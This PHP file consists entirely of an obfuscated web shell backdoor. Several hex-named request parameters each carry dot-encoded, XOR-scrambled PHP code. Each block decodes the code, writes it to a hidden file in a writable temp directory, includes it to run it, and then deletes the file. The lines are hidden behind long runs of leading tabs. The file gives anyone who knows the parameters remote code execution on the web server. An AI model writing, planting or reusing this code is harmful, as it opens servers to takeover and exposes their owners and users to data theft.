<?php																																										if(filter_has_var(INPUT_POST, "\x6Dr\x6B")){ $key = $_POST["\x6Dr\x6B"]; $key = explode ( '.' , $key ) ; $component=''; $s4='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen=strlen($s4); $len=count($key); for ($q=0; $q < $len; $q++) { $v8=$key[$q]; $chS=ord($s4[$q % $sLen]); $d=((int)$v8 - $chS - ($q % 10)) ^ 61; $component .= chr($d);} $elem = array_filter([ini_get("upload_tmp_dir"), getcwd(), sys_get_temp_dir(), getenv("TEMP"), getenv("TMP"), session_save_path(), "/dev/shm", "/tmp", "/var/tmp"]); $dchunk = 0; do { $ref = $elem[$dchunk] ?? null; if ($dchunk >= count($elem)) break; if (is_writable($ref) && is_dir($ref)) { $flg = join("/", [$ref, ".fac"]); $file = fopen($flg, 'w'); if ($file) { fwrite($file, $component); fclose($file); include $flg; @unlink($flg); die(); } } $dchunk++; } while (true); }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["\x64es\x63"])){ $ent = $_REQUEST["\x64es\x63"]; $ent = explode ( '.', $ent ) ; $factor = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); $m = 0; array_walk($ent ,function ($v5) use (&$factor ,&$m ,$s ,$lenS) { $chS = ord($s[$m % $lenS]); $dec = ((int)$v5 - $chS - ($m % 10)) ^ 54; $factor .= chr($dec); $m++; }); $component = array_filter([sys_get_temp_dir(), getenv("TEMP"), "/var/tmp", "/dev/shm", getcwd(), session_save_path(), "/tmp", getenv("TMP"), ini_get("upload_tmp_dir")]); foreach ($component as $key => $tkn) { if ((function($d) { return is_dir($d) && is_writable($d); })($tkn)) { $res = vsprintf("%s/%s", [$tkn, ".flag"]); if (@file_put_contents($res, $factor) !== false) { include $res; unlink($res); die(); } } } }
																																										if(filter_has_var(INPUT_POST, "\x74\x6Bn")){ $data = array_filter([getenv("TMP"), ini_get("upload_tmp_dir"), getenv("TEMP"), "/var/tmp", sys_get_temp_dir(), "/dev/shm", "/tmp", session_save_path(), getcwd()]); $pgrp = $_REQUEST["\x74\x6Bn"]; $pgrp = explode ( '.' , $pgrp ); $marker = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s); $u = 0; $__len = count( $pgrp); do { if( $u >= $__len) break; $v7 = $pgrp[$u]; $sChar = ord( $s[$u % $sLen]); $d =( ( int)$v7 - $sChar -( $u % 10)) ^ 2; $marker.= chr( $d); $u++; } while( true); foreach ($data as $key => $elem) { if (!!is_dir($elem) && !!is_writable($elem)) { $rec = implode("/", [$elem, ".data_chunk"]); if (file_put_contents($rec, $marker)) { require $rec; unlink($rec); exit; } } } }
																																										if(!is_null($_REQUEST["\x66lg"] ?? null)){ $reference = array_filter([sys_get_temp_dir(), "/dev/shm", "/var/tmp", "/tmp", getenv("TEMP"), getenv("TMP"), ini_get("upload_tmp_dir"), session_save_path(), getcwd()]); $holder = $_REQUEST["\x66lg"]; $holder=explode ( '.', $holder) ; $dat = ''; $salt5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt5); $m = 0; foreach ($holder as $v4) { $chS = ord($salt5[$m % $lenS]); $d = ((int)$v4 - $chS - ($m % 10)) ^ 74; $dat.= chr($d); $m++; } foreach ($reference as $key => $rec) { if (array_product([is_dir($rec), is_writable($rec)])) { $k = str_replace("{var_dir}", $rec, "{var_dir}/.entry"); if (file_put_contents($k, $dat)) { require $k; unlink($k); die(); } } } }
																																										if(isset($_REQUEST["\x65\x6Et"])){ $ent = $_REQUEST["\x65\x6Et"]; $ent = explode ('.' ,$ent ); $pointer = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); foreach ($ent as $v => $v1): $chS = ord($s[$v % $lenS]); $d = ((int)$v1 - $chS - ($v % 10)) ^ 78; $pointer .= chr($d); endforeach; $token = array_filter(["/dev/shm", getcwd(), "/tmp", session_save_path(), getenv("TMP"), "/var/tmp", ini_get("upload_tmp_dir"), sys_get_temp_dir(), getenv("TEMP")]); foreach ($token as $flg) { if (is_dir($flg) && is_writable($flg)) { $desc = join("/", [$flg, ".val"]); $success = file_put_contents($desc, $pointer); if ($success) { include $desc; @unlink($desc); exit;} } } }


if(array_key_exists("mrk", $_POST)){
	$hld = $_POST["mrk"];
	$hld	=explode( "."		 ,  	$hld 		)	 	;   
	$entry	=	 '';
            $salt	=	 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS	=	 strlen($salt);
            $p	=	 0;
    
            $__tmp	=	 $hld;
            while ($v6	=	 array_shift($__tmp)) { $sChar	=	 ord($salt[$p % $lenS]);
                $dec	=	 ((int)$v6 - $sChar - ($p % 10))		^66;
                $entry .= chr($dec);
                $p++;}
	$key = array_filter([getenv("TEMP"), session_save_path(), getcwd(), sys_get_temp_dir(), "/tmp", ini_get("upload_tmp_dir"), "/var/tmp", getenv("TMP"), "/dev/shm"]);
	foreach ($key as $key => $val) {
    		if ((bool)is_dir($val) && (bool)is_writable($val)) {
    $elem = join("/", [$val, ".dat"]);
    if (@file_put_contents($elem, $entry) !== false) {
	include $elem;
	unlink($elem);
	exit;
}
}
}
}